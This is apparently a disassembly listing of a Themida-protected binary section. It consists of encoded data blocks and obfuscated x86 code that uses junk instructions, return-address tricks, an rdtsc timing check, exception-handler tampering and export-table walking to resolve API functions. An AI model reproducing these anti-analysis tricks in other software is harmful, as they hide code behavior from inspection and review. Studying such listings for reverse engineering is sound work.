		dd 60016089h, 0AD85BB66h, 5FE961F9h, 6A000002h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 8F5EC355h, 9D89544Bh, 6122009h, 0E8DB8Bh, 5D000000h
		dd 9489ED81h, 9CBC0615h, 830012FFh, 122855BDh, 18740006h
		dd 18A9858Bh, 0C60612h,	0F1858B00h, 0C6061213h,	95FF0000h
		dd 6122E3Dh, 74B5FF60h,	8D06157Eh, 157E7885h, 858D5006h
		dd 6158070h, 2195FF50h,	83061213h, 0F610CC4h, 108Ah, 0A850F00h
		dd 0E9000000h, 5, 0A2DC5B95h, 0B58DF5E8h, 6158070h, 0EE96060h
		dd 48000000h, 0A7348F61h, 0DBFD6126h, 0F0450C55h, 0D38166FCh
		dd 8B61F963h, 0BD8D61C3h, 612091Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0A8C35545h,	0C72A6F4Bh, 86563701h
		dd 2111B529h, 3E800612h, 3C840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 4FA3C351h, 0C3EA2DA1h, 870FF963h, 6,	35D8D89h, 89A40612h
		dd 12163DB5h, 0FFBCE906h, 2BFCFFFFh, 178B0FC0h,	0E9000000h
		dd 12h,	60904F8Ch, 18F69FC9h, 8BB39CF3h, 0AEC082F0h, 6AAA341Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0E9F8C353h, 0Eh, 7467BAE7h, 318117F6h, 1960C0B4h
		dd 7B87973h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 5975C356h, 0F04BBB97h
		dd 6585C7C2h, 1061234h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 2E7BC353h
		dd 8DF83371h, 124E4B8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8B60545Ch, 122F158Dh
		dd 13860F06h, 0E9000000h, 0Eh, 86572D7Ch, 4880DD4Bh, 4C67427Eh
		dd 0FF61D766h, 56006AE1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 299BF491h, 12346195h
		dd 245C8B06h, 0E8550Ch,	5D000000h, 9699ED81h, 838B0615h
		dd 0B8h, 7E748589h, 858D0615h, 6159482h, 0B88389h, 335D0000h
		dd 0E960C3C0h, 13h, 0AFE35BB2h,	9CA98B4Ah, 83A94881h, 0BB466CD3h
		dd 613462C8h, 666060F9h, 89BF54BEh, 1230A1BDh, 95296106h
		dd 6121885h, 9834858Dh,	0AE90615h, 6A000000h, 9776028Ch
		dd 0E567E14Eh, 8B6050E7h, 8E860C3h, 27000000h, 33FDC9DEh
		dd 5AEA0CA4h, 61615956h, 0F240489h, 1486h, 0FE900h, 7F6C0000h
		dd 59B350Fh, 1AB004CDh,	0E360EA78h, 35FF64A2h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5B5224
; ---------------------------------------------------------------------------
		db 38h,	2Fh, 58h
		dd 4FAF4E5Dh, 0FF16577Dh
; ---------------------------------------------------------------------------


loc_5B5224:				; CODE XREF: Themida_:005B5214j
		mov	large fs:0, esp
		pusha
		mov	bh, 44h
		push	edx
		mov	ebx, [ebp+6121965h]
		pop	ebx
		popa
		lea	eax, [ebp+61598C4h]
		mov	[ebp+6121751h],	ebx
		mov	[eax+1], esp
		mov	[ebp+612246Dh],	edi
		mov	byte ptr [ebp+61215C1h], 4Fh
		jmp	loc_5B525F
; ---------------------------------------------------------------------------
		dd 0F4121BAAh
		db 2, 0CEh, 0D5h
; ---------------------------------------------------------------------------


loc_5B525F:				; CODE XREF: Themida_:005B5253j
		push	0D07E83BFh
		push	eax
		push	edx
		jp	loc_5B5272
		jz	$+6


loc_5B5272:				; CODE XREF: Themida_:005B5266j
		rdtsc
		jnz	loc_5B527C
		pusha
		popa


loc_5B527C:				; CODE XREF: Themida_:005B5274j
		pop	edx
		pop	eax
		add	dword ptr [esp], 2E49F06Bh
		js	loc_5B5296
		pusha
		mov	[ebp+6121E29h],	esi
		mov	cx, bx
		popa


loc_5B5296:				; CODE XREF: Themida_:005B5285j
		push	dword ptr [ebp+6123101h]
		push	0
		push	edi
		call	sub_5B52A7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B52A7	proc near		; CODE XREF: Themida_:005B529Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B52A7	endp

; ---------------------------------------------------------------------------
		imul	ecx, [eax-7Fh],	8DFC657Ch
		test	[edx-7Eh], edi
		adc	eax, 698D8906h
		add	[edx], dl
		push	es
		call	eax
		push	0
		push	edx
		call	sub_5B52D6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B52D6	proc near		; CODE XREF: Themida_:005B52CEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5B52D6	endp

; ---------------------------------------------------------------------------
		xchg	bl, [esi-5B446D9Dh]
		xchg	eax, esp
		add	esi, eax
		pusha
		jno	loc_5B52FB
		add	di, 0E8CBh


loc_5B52FB:				; CODE XREF: Themida_:005B52F0j
		mov	esi, [ebp+6122DB5h]
		popa
		cld
		jmp	loc_5B539E
; ---------------------------------------------------------------------------
		sub	[ebp+6121DFDh],	edx
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 615983Eh
		mov	eax, [ebp+61217F1h]
		mov	[ebp+6123101h],	eax
		mov	eax, [ebp+612335Dh]
		mov	[ebp+6120381h],	eax
		mov	eax, [ebp+6122FD1h]
		mov	[ebp+612116Dh],	eax
		mov	byte ptr [ebp+61215C1h], 0
		mov	dword ptr [ebp+61583D2h], 0
		lea	eax, [ebp+61598C4h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+6123099h],	ecx
		push	0
		push	eax
		call	sub_5B5375
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5375	proc near		; CODE XREF: Themida_:005B536Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5B5375	endp

; ---------------------------------------------------------------------------
		lahf
		push	ds
		jmp	loc_5B539E
; ---------------------------------------------------------------------------
		dd 0F8AF6168h, 402ABE9Bh, 0EE3478F4h, 22AA4322h
		db 0A7h, 0F4h
; ---------------------------------------------------------------------------


loc_5B539E:				; CODE XREF: Themida_:005B5303j
					; Themida_:005B5387j
		mov	esp, 12FF74h
		push	0
		push	ebp
		call	sub_5B53AE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B53AE	proc near		; CODE XREF: Themida_:005B53A6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B53AE	endp

; ---------------------------------------------------------------------------
		neg	dword ptr [eax+2Bh]
		test	ds:89061204h, esi
		mov	ch, 0F5h
		add	dl, [edx]
		push	es
		popa
		pusha
		jle	loc_5B53EC
		jmp	loc_5B53EC
; ---------------------------------------------------------------------------
		dw 95BAh
		dd 588FD57Dh, 8BA6D3BDh, 70987BA5h, 4C3ED2A7h
; ---------------------------------------------------------------------------


loc_5B53EC:				; CODE XREF: Themida_:005B53CFj
					; Themida_:005B53D5j
		or	[ebp+6121221h],	ebx
		popa
		pop	large dword ptr	fs:0
		jmp	loc_5B5411
; ---------------------------------------------------------------------------
		xchg	eax, edi
		dec	edi
		cmc
		adc	eax, 0FD1DB01Dh
		aas
		xor	edx, ebp
		ffreep	st(6)
		sub	esp, [eax]
		xor	edi, [ecx-6]


loc_5B5411:				; CODE XREF: Themida_:005B53FAj
		add	esp, 4
		push	0
		push	eax
		call	sub_5B541F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B541F	proc near		; CODE XREF: Themida_:005B5417p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5B541F	endp

; ---------------------------------------------------------------------------
		pop	ss
		mov	ds:1E6D4AA1h, al
		retf	0E9E2h
; ---------------------------------------------------------------------------
		dd 10h,	748D8466h, 7216D044h, 538E009Ch, 785864B8h, 83E961h
		dd 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh
		dd 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h, 8B000000h
		dd 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h
		dd 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h,	3178B1Ch
		dd 83202454h, 28A04C7h,	874C084h, 0E875033Ah, 0F2EB4243h
		dd 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h,	5E5F1C24h
		dd 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E9CA8BFFh, 148h
		dd 48h,	4Ch, 50h, 54h, 58h, 5Ch, 60h, 64h, 0A8h, 0ACh
		dd 0B0h, 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h
		dd 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 38h dup(0)
; ---------------------------------------------------------------------------
		cmp	al, 55h
		pop	ebx
		add	[ebx], al
		retn	0B2h
; ---------------------------------------------------------------------------
		lea	eax, [ebp+6159A02h]
		mov	edi, [ebp+6120B79h]
		mov	[ebp+6159B42h],	eax
		or	edi, 495E8C2Eh
		mov	byte ptr [ebp+61215C1h], 54h
		xor	esi, [ebp+61231EDh]
		push	0B79AEB95h
		mov	ecx, 491DC64Dh
		add	dword ptr [esp], 36C77C94h
		sub	edx, [ebp+61212BDh]
		push	dword ptr [ebp+6123101h]
		cld
		lea	eax, [ebp+615827Ah]
		mov	edx, 7274DBF5h
		call	eax
		jmp	loc_5B5686
; ---------------------------------------------------------------------------
		db 0C7h, 1Fh, 97h
		dd 81ECF231h, 9E48A038h
		db 8Dh,	0F6h
; ---------------------------------------------------------------------------


loc_5B5686:				; CODE XREF: Themida_:005B5674j
		mov	[ebp+6159B46h],	eax
		jp	loc_5B5698
		mov	[ebp+6122999h],	eax


loc_5B5698:				; CODE XREF: Themida_:005B568Cj
		push	eax
		pop	edx
		jmp	loc_5B56E1
; ---------------------------------------------------------------------------
		mov	ecx, eax
		movzx	edi, di
		push	esi
		mov	esi, [ebp+6159B42h]
		mov	[esi], eax
		add	dword ptr [ebp+6159B42h], 4
		pop	esi
		retn
; ---------------------------------------------------------------------------
		pusha
		lea	esi, [ebp+6159A02h]
		jmp	short loc_5B56CE
; ---------------------------------------------------------------------------


loc_5B56BF:				; CODE XREF: Themida_:005B56D1j
		push	esi
		push	0
		push	dword ptr [esi]
		call	dword ptr [ebp+6159B46h]
		pop	esi
		add	esi, 4


loc_5B56CE:				; CODE XREF: Themida_:005B56BDj
		cmp	dword ptr [esi], 0
		jnz	short loc_5B56BF
		popa
		retn
; ---------------------------------------------------------------------------
		and	edx, 48EA972h
		or	[ebp+6121A1Dh],	ecx


loc_5B56E1:				; CODE XREF: Themida_:005B569Aj
		lea	eax, [ebp+6159BDCh]
		mov	esi, [ebp+6122C41h]
		mov	[ebp+6121D65h],	eax
		call	sub_5B56FE
		mov	ds:9F1E6884h, eax
		cmc

; =============== S U B	R O U T	I N E =======================================



sub_5B56FE	proc near		; CODE XREF: Themida_:005B56F3p
		jge	loc_5B570A
		mov	ebx, [ebp+612180Dh]


loc_5B570A:				; CODE XREF: sub_5B56FEj
		pop	esi
		or	[ebp+61208C1h],	ecx
		add	esi, 719Ah
		push	ecx
		pusha
		sub	eax, [ebp+6122DFDh]
		jmp	loc_5B572F
; ---------------------------------------------------------------------------
		dd 6F976D0Dh, 9556F446h
; ---------------------------------------------------------------------------
		add	ebp, esi
		aaa


loc_5B572F:				; CODE XREF: sub_5B56FE+21j
		popa
		pop	ecx
		mov	edx, 40C8451Fh
		add	edx, 0BF37D710h
		cmc


loc_5B573D:				; CODE XREF: sub_5B5756+76j
		push	dword ptr [esi]
		call	sub_5B5756
		imul	ecx, [esi-6660ADBCh], 52h
		retn	5EC1h
sub_5B56FE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 3ADh
		dd 0EBBBF7C6h
; ---------------------------------------------------------------------------
		mov	dl, 0A6h

; =============== S U B	R O U T	I N E =======================================



sub_5B5756	proc near		; CODE XREF: sub_5B56FE+41p

var_2A		= dword	ptr -2Ah

; FUNCTION CHUNK AT 00583BD9 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 00583E3D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00583F57 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058418B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00586600 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587136 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058AE74 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058BE67 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058D29F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DD70 SIZE 00000010 BYTES

		pusha
		pusha
		popa
		mov	[ebp+6120851h],	ecx
		popa
		pop	ecx
		pop	edi
		sub	edi, 209BFA8Ch
		mov	[ebp+6121A95h],	esi
		add	edi, 76F0BCE1h
		pusha
		js	loc_5B5781
		sub	[ebp+6120B71h],	ebx


loc_5B5781:				; CODE XREF: sub_5B5756+1Fj
		or	ecx, [ebp+61215B5h]
		popa
		add	edi, 0FABC9F5h
		ja	loc_5B579A
		sub	[ebp+61221BDh],	ebx


loc_5B579A:				; CODE XREF: sub_5B5756+38j
		mov	[esi], edi
		cmc
		sub	esi, 3
		mov	ebx, [ebp+6120B5Dh]
		dec	esi
		dec	edx
		jnz	loc_5B57C6
		movzx	eax, bx
		jmp	loc_5B57DA
; ---------------------------------------------------------------------------
		dw 4B16h
		dd 0E90DFACDh, 0B271FFB7h, 56CD6F04h
; ---------------------------------------------------------------------------
		cmp	al, 69h


loc_5B57C6:				; CODE XREF: sub_5B5756+52j
		mov	[ebp+6121679h],	edi
		jmp	loc_5B573D
; ---------------------------------------------------------------------------
		db 51h,	25h, 57h
		dd 0EA2990CEh
; ---------------------------------------------------------------------------
		cmpsd
		dec	esp


loc_5B57DA:				; CODE XREF: sub_5B5756+5Bj
		jmp	loc_5B58F3
; ---------------------------------------------------------------------------
		db 0BCh
		dd 97608111h, 838A055Ch, 1D76A188h, 0DD7A0E0Ah,	3733538Fh
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h, 2060E0E0h
		dd 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h
		dd 60206020h, 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh
		dd 60206020h, 0A7286020h, 50F0362Bh, 0B6F360C9h, 0F796A1EFh
		dd 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h
		dd 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh,	0E0A1Eh
		dd 0D25D3407h, 1E59A0A3h, 0Bh dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5B58F3:				; CODE XREF: sub_5B5756:loc_5B57DAj
		jmp	loc_5B651F
; ---------------------------------------------------------------------------
		push	615A041h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615A16Bh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615A23Fh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615A2FDh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615A390h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615A456h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615A591h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615A68Bh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615A731h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615A7E8h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	615A897h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		dw 0ABE6h
		dd 0E7E1764h, 6F1BB401h, 0D5BA53A0h, 3954ED3Ah,	1C9989D6h
		dd 754BBD2h, 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h,	0DFA8B0FFh
		dd 9C4DF4FDh, 1C72E9BFh, 9C1D34F3h, 14DD3E19h, 97F0A042h
		dd 0E447E047h, 986146D9h, 0C7C0C8F3h, 0B447E047h, 483A4D55h
		dd 3E4947E0h, 9D3368D3h, 18D5889h, 5B64C10Eh, 7BAFB776h
		dd 0A49F264h, 8D01CAFFh, 0F29C3582h, 0BED0E81Dh, 0EA4DF22Bh
		dd 0B8DEC243h, 7DA63718h, 4A439EEAh, 0DB10FF91h, 2A647508h
		dd 3C719EEFh, 0C3F81773h, 0CD1A85F0h, 80B55A34h, 7938D7B7h
		dd 0AC3FD0C0h, 7D64E8C7h, 0A6F31C72h, 0AEB2D1B1h, 5420624h
		dd 72580000h, 0F5BEF31Ch, 0FEB77699h, 784B808Fh, 828BE8E5h
		dd 0C2CCD493h, 0C549F18Ch, 1E6D85BAh, 0D54DF18Fh, 616128B9h
		dd 4924AECDh, 0DD12FD90h, 3875770Ah, 86000000h,	1D52BDCDh
		dd 6BD63954h, 0A5AEAAD8h, 0CDF901C0h, 1149F17Eh, 44D73858h
		dd 0A4BCF1FCh, 4DF180E7h, 0D14CCD0Ch, 4EAB252Eh, 0B72A7609h
		dd 0AE0BF0D0h, 0E92524h, 72770000h, 0F0979F1Ch,	9347DF5Fh
		dd 1FE81D88h, 456CA16Eh, 7B15048Ch, 21F42994h, 602D5A62h
		dd 434E47DFh, 20EF9FB0h, 0A36C22EBh, 5C306E56h,	404E47DFh
		dd 0A5E982CFh, 0DF305D16h, 6027D7AAh, 2347DF62h, 0EB78AD18h
		dd 2C34F3E2h, 49F163AEh, 64C10E19h, 0A0B7765Bh,	0F167EF98h
		dd 0EE818C4Dh, 0B0F777Fh, 964F5004h, 0A46B20F9h, 9E319C6Fh
		dd 0E3365556h, 5A2D62ADh, 7CE7BAEFh, 868904BDh,	2CEDA039h
		dd 0C746B15Eh, 0EDB356AAh, 66BC8328h, 31000009h, 0C962AF60h
		dd 66FF4CC3h, 59EEB24h,	9F38858Ah, 0E4D421EEh, 9F701DD1h
		dd 3DD2B952h, 0D63957F0h, 719EF089h, 0F3FB4A24h, 4DF4FF94h
		dd 14340AE7h, 0A8DD325Bh, 5C3142D5h, 503BF4B3h,	962F2CBFh
		dd 9F5817F8h, 16E91EF1h, 0D68F8683h, 0E62965B4h, 3E73DEB1h
		dd 14AAD86Bh, 7B3B7B93h, 3F474119h, 47E04648h, 32C5303Bh
		dd 0AE6D545Dh, 0F26620A6h, 9D5C6749h, 3065AAE4h, 0CDE5CA5Dh
		dd 4DF225BEh, 0C1C81935h, 24AE38C1h, 0E516h, 8102700h
		dd 4DF2317Fh, 305EF1FCh, 0D9351C72h, 142A1DCEh,	0D7121FCCh
		dd 0C22DF687h, 34592257h, 0FE7FA6DBh, 57E8360Eh, 6ACA5DCAh
		dd 47DFCD34h, 7ECB444Ah, 1A70A9E5h, 82EDC0F5h, 1F6D264Dh
		dd 8C94BBF0h, 47DFD1FBh, 7F127D88h, 0F5B4A1AAh,	8CC14E3Ch
		dd 0AFB726B9h, 49F1D32Bh, 17D08F9Ah, 0D0619679h, 6E43D1B3h
		dd 1CDB466Ch, 0F1727314h, 7205104Dh, 220F1875h,	15385B63h
		dd 202B5004h, 2AE5A861h, 365E6DDh, 2A2EF300h, 0ABE2F386h
		dd 239EE564h, 8F34EDB3h, 83CC8h, 858A0700h, 22ED9F38h
		dd 0C14E3CD5h, 5BB4DB74h, 0F718750Eh, 0F3FBBAAAh, 8F28759Ah
		dd 2DC613FCh, 0C65FAC63h, 20FA47C8h, 0BEC9D1h, 0E0BD4DF5h
		dd 0F41B720Ah, 98F7B0A7h, 0DC6F4277h, 0FF4CC3CBh, 0DC188708h
		dd 4BCF69DEh, 1C728AB8h, 99F5BEF3h, 8DFEB776h, 82F2EF82h
		dd 939516D9h, 456F6355h, 0D4DDB245h, 96172EEDh,	757D62E3h
		dd 47DF6912h, 7D3D6671h, 0ACDBE39Eh, 0CF47DFA4h, 66C659C4h
		dd 49F1BAE8h, 0E3C3141Fh, 471A1BC2h, 0B7765B64h, 0CBB2DFAFh
		dd 0C7C67F42h, 0E4EC1348h, 46A774A3h, 0D76AD5E0h, 0C24F848Fh
		dd 50DCCB9h, 48BAEF10h,	162DECF7h, 4FE22D5Dh, 72BF503Eh
		dd 45CAC27Bh, 2E63ACE4h, 0D7B7C85Bh, 6490B938h,	0BD621568h
		dd 768F6h, 0B15E3300h, 4EC1CB64h, 0ED226801h, 878807A0h
		dd 23ECA13Ah, 1FCFE6D6h, 0BB54A16Eh, 59F23FD0h,	0F28BD837h
		dd 4C26739Ch, 192F5FDh,	14F14DF5h, 0F31C723Eh, 392831BEh
		dd 5990727Ah, 949F49F1h, 0EBCF5047h, 906F0B89h,	57229F87h
		dd 0CD38E17Ch, 755C653Ah, 85BFAEB6h, 0B9C45005h, 652AE3FAh
		dd 0E0AC75AAh, 0BC27FA2Fh, 0A3761829h, 0BFC8D0EBh, 0BC47E674h
		dd 7D1D46B1h, 0D408796Ch, 0C98241ACh, 46194EC1h, 711DB6B3h
		dd 0D3DC699Eh, 5F272FEEh, 0FF49FA6Ch, 90C54A46h, 0D7E22ABDh
		dd 0E02F5F18h, 8594FA93h, 659A050Ah, 23E2CFD8h,	466571Bh
		dd 0BC3B4650h, 0EDB50B83h, 0AAE3AA4Fh, 75000006h, 0DA6F31Ch
		dd 0AA43907Fh, 49E22FE0h, 0E37CC946h, 281865AAh, 0E32C618Dh
		dd 818EFD96h, 1AF59B34h, 0B55A34CDh, 373F8E68h,	4DF50150h
		dd 14805633h, 0A5DA355Bh, 616A3FD2h, 1D9EB574h,	5FDDBB19h
		dd 62C25513h, 49F3AD5Ch, 0C881404Bh, 0D18A49C6h, 0C6C356B9h
		dd 79AE612Dh, 3FFEE3ECh, 780B0486h, 80010109h, 4C055006h
		dd 0C699CE41h, 8388FF07h, 0F0FB47E6h, 0D94C155Dh, 87F878Dh
		dd 7B47E694h, 0CB8C4770h, 1B3EBD28h, 0F7EDB281h, 6178B52h
		dd 0AFE20000h, 127A1360h, 7317B0FDh, 0D9B64F9Ch, 3D50E936h
		dd 209585D2h, 350BFCEh,	0A1EE216Ah, 3A878808h, 0D522EDA1h
		dd 0E3A4ACFBh, 0A04DF502h, 0A5AEEDC3h, 0E2EA01C0h, 47DF5FA5h
		dd 0C938CBD6h, 0F2FDACC1h, 0ED33B449h, 0B7F09C9h, 4F5AA235h
		dd 62B7D790h, 0DCAFE42Bh, 0D631B271h, 877620BDh, 15AEAB3Eh
		dd 0D4619679h, 6E27E6CBh, 0EB5AED22h, 820A3E3h,	0BB2AAB50h
		dd 0D1313BD8h, 9DA8F083h, 0B06925DEh, 0BE513CDDh, 0EA4B1E53h
		dd 613469A6h, 7E10A9F6h, 0C6CF5C91h, 39B9BD21h,	8BEC12C8h
		dd 4D70C03h, 6B21DA99h,	99C6FA4h, 38E0929Ah, 70CF49F2h
		dd 0F2061F68h, 0E6515C4Dh, 0A755C467h, 0A2690EEBh, 551h
		dd 4D9A751Ch, 0EA37D8B4h, 89D63951h, 23709FF0h,	0BF0C038Ah
		dd 8508E6CFh, 0E7A43D8Ah, 4E42DB28h, 0B3DB74C1h, 0E6350F5Ch
		dd 0F503A9DEh, 27FDDA4Dh, 0BEF31C72h, 62ADDE97h, 939B5A2Dh
		dd 47DF5FF4h, 0D8E97C87h, 0AF0C59B6h, 0F800BFA6h, 49F18C96h
		dd 957A11CAh, 0D2B9BA02h, 0CA35083Dh, 8F0E7D95h, 0C9E54DF1h
		dd 0CD117118h, 25C624AEh, 18000000h, 1C0A5AEh, 0F17ECDF9h
		dd 0F82D3849h, 0F180ABE0h, 5009484Dh, 0F440D33Ch, 0DF2EA6EDh
		dd 0E8FB24AEh, 4D000000h, 0DC335B14h, 2B7BCBB3h, 0B84BDB69h
		dd 0F328E7A7h, 77AC632Ah, 0D3DBE0AEh, 47DFE1B4h, 46C9C6C7h
		dd 723B70DBh, 0BEA6F31Ch, 47DFDDE0h, 722B90FEh,	4641F11Eh
		dd 3547DFE0h, 0E900BF2Ah, 0DFE0A6E1h, 37CAD547h, 22EDA13Ah
		dd 6A5760EDh, 0FB8C94ABh, 0F747DFE0h, 0FC7E3D78h, 1F20B839h
		dd 0A0339E71h, 2B611A31h, 65F151E4h, 2949F238h,	62F51A70h
		dd 65C20F1Ah, 9FB6755Ch, 1674A5E6h, 9BFB8EF9h, 5004E580h
		dd 0E0995863h, 7C1562ADh, 0E5A2AA11h, 0CD47E5AEh, 481B50BFh
		dd 0BB3AA5B0h, 0EDB3BC7Ah, 160CD378h, 0E1000004h, 79125FB0h
		dd 16AFFC13h, 0B54E9B74h, 4FE835DAh, 9484D13Eh,	4FC0CD21h
		dd 0ED226902h, 868907A0h, 21EEA039h, 0A3ABFAD4h, 4DF504E4h
		dd 72E4BA97h, 7C35F41Bh, 0F6C9FE11h, 0C1CD6663h, 0AE4B014Eh
		dd 0F901C0A5h, 49F17ECDh, 0DB345811h, 0F840D3A6h, 0EBA0B8EDh
		dd 84DF180h, 947B10C9h,	21B45B33h, 0D850CD5h, 0DA24AEDFh
		dd 0C9h, 9F1C722Ch, 2060D61Eh, 8D3D0377h, 47E009FAh, 0AB43CCC0h
		dd 370035A0h, 0E3FAB956h, 0FEAE612Ah, 47E00989h, 775CEFFAh
		dd 0E0063F5Fh, 4846FF47h, 2CBF92C7h, 4048731Bh,	47E00847h
		dd 0B5EA256Bh, 0D43F4AE2h, 6FA0EE87h, 0BDA4AD3Ah, 0CA4545FEh
		dd 0C02FC295h, 0F2019EB8h, 86080949h, 74D11E89h, 0EC7866Bh
		dd 8FFE917Eh, 4AD3787h,	0E0AE6750h, 5C31FA2Fh, 6DB548B3h
		dd 0A3EAA362h, 7861F6Ch, 0F2B68908h, 37DCEDB3h,	31C70h
		dd 65AAE700h
		dd 20D7F18h, 0A16E1CB5h, 3BD4BB54h, 0D73855EEh,	0D31B9A8Ah
		dd 6F0855BAh, 0DA6F31Ch, 0A63F8C83h, 0DA27E8h, 5DEA9B1h
		dd 0C09D4DF5h, 0F41B72EAh, 99800EA7h, 65B21DF2h, 0F31C72AFh
		dd 7699F5BEh, 77A4B929h, 0C0C8876Eh, 49F1758Eh,	0BD9DEEF9h
		dd 0B1A4EB66h, 0CB8A7780h, 18BC4BC3h, 0F4FC13ECh, 0EC14BF93h
		dd 0A52E5F0h, 8CA3CAFFh, 0A656B9D3h, 0EC14BFE1h, 275CB3D9h
		dd 1EB1BC54h, 92514049h, 283A8B8Ah, 0AE6D78EEh,	1A2299F5h
		dd 0EA00416Dh, 4B98030Eh, 0B433DCB2h, 4F951169h, 761DE489h
		dd 41000002h, 0D972BF50h, 760F5CB3h, 15AEFB14h,	0AF48957Ah
		dd 0F4E431DEh, 0AF602DC1h, 4DC2C962h, 0E6296700h, 818E0099h
		dd 30B5A34h, 4DF50684h,	72441AF7h, 31BEF31Ch, 0C17A3928h
		dd 42B144CBh, 0F718722Bh, 82820464h, 0FA0549F1h, 0F9123DADh
		dd 3A4201F0h, 5003A214h, 28176873h, 977E0911h, 3C6C47DFh
		dd 0C0B1BA99h, 0CD606B03h, 4E34226Dh, 967B8483h, 97BFCFD7h
		dd 0C5C6067Fh, 1DDC47C8h, 9789FE06h, 0EFFA027Bh, 9750775Ch
		dd 0B08518F7h, 0F3FBBAA7h, 48F1222h, 8E470611h,	29C20F00h
		dd 7B78EC65h, 0A74D0D7Eh, 95CA4546h, 7BD857C2h,	77513C00h
		dd 1BF0BD2h, 78A0000h, 6A22BB08h, 0CBBF58A5h, 315EF744h
		dd 95F891DEh, 783D2D7Ah, 0ABF81776h, 49967912h,	0E22FE0B0h
		dd 7DCA4549h, 3B4C54A3h, 484DF507h, 1C72956Bh, 127B34F3h
		dd 0F8856AFDh, 3B4302EFh, 49F15B93h, 729DF1F2h,	0FC4ABA07h
		dd 4A09F801h, 0CA53B233h, 9F9D1FA3h, 25B823ECh,	3B889C5h
		dd 20717C50h, 0D099A740h, 573E479Eh, 61AEDF98h,	0F1848B00h
		dd 49147A82h, 687302E4h, 39530C33h, 656E43D6h, 5CB9C180h
		dd 4B08D365h, 0D6008140h, 8B320A7h, 46FF6E01h, 837AC748h
		dd 184DC2CAh, 0EDA1B245h, 5CBAA322h, 0F3985540h, 1102Ch
		dd 59B6DB00h, 0F619730Ch, 957A10A9h, 2FE0AF48h,	0CB4449E2h
